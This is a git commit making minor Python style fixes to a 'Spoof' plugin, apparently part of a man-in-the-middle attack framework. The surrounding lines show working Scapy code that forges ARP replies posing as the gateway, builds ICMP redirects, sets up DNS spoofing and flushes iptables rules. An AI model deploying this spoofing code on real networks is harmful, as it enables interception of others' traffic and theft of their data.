minor code style fixes

This commit is contained in:
byt3bl33d3r 2014-08-12 20:55:22 +02:00
parent e56f813181
commit 4754305b9a

View file

@ -19,6 +19,7 @@ try:
except:
sys.exit('[-] configobj library not installed!')
class Spoof(Plugin):
name = "Spoof"
optname = "spoof"
@ -55,8 +56,8 @@ class Spoof(Plugin):
if not self.manualiptables:
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
if self.arp == True:
if self.icmp == True:
if self.arp:
if self.icmp:
sys.exit("[-] --arp and --icmp are mutually exclusive")
if (not self.interface or not self.gateway):
@ -70,8 +71,8 @@ class Spoof(Plugin):
elif self.arpmode == 'rep':
pkt = self.build_arp_rep()
elif self.icmp == True:
if self.arp == True:
elif self.icmp:
if self.arp:
sys.exit("[-] --icmp and --arp are mutually exclusive")
if (not self.interface or not self.gateway or not self.target):
@ -82,7 +83,7 @@ class Spoof(Plugin):
print "[*] ICMP Redirection enabled"
pkt = self.build_icmp()
if self.summary == True:
if self.summary:
pkt.show()
ans = raw_input('\n[*] Continue? [Y|n]: ').lower()
if ans == 'y' or len(ans) == 0:
@ -90,7 +91,7 @@ class Spoof(Plugin):
else:
sys.exit(0)
if self.dns == True:
if self.dns:
if not self.dnscfg:
if (not self.dnsip or not self.domain):
sys.exit("[-] DNS Spoofing requires --domain, --dnsip")
@ -114,7 +115,7 @@ class Spoof(Plugin):
t.start()
def send_packets(self, pkt, interface, debug):
while self.send == True:
while self.send:
sendp(pkt, inter=2, iface=interface, verbose=debug)
def build_icmp(self):
@ -124,11 +125,11 @@ class Spoof(Plugin):
return pkt
def build_arp_req(self):
if self.target == None:
if self.target is None:
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway)
elif self.target:
target_mac = getmacbyip(self.target)
if target_mac == None:
if target_mac is None:
sys.exit("[-] Error: Could not resolve targets MAC address")
pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target)
@ -136,11 +137,11 @@ class Spoof(Plugin):
return pkt
def build_arp_rep(self):
if self.target == None:
if self.target is None:
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2)
elif self.target:
target_mac = getmacbyip(self.target)
if target_mac == None:
if target_mac is None:
sys.exit("[-] Error: Could not resolve targets MAC address")
pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target, op=2)
@ -214,11 +215,11 @@ class Spoof(Plugin):
print '\n[*] Flushing iptables rules'
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
if self.dns == True:
if self.dns:
self.q.unbind(socket.AF_INET)
self.q.close()
if self.arp == True:
if self.arp:
print '[*] Re-arping network'
pkt = Ether(src=self.routermac, dst='ff:ff:ff:ff:ff:ff')/ARP(psrc=self.gateway, hwsrc=self.routermac, op=2)
sendp(pkt, inter=1, count=5, iface=self.interface)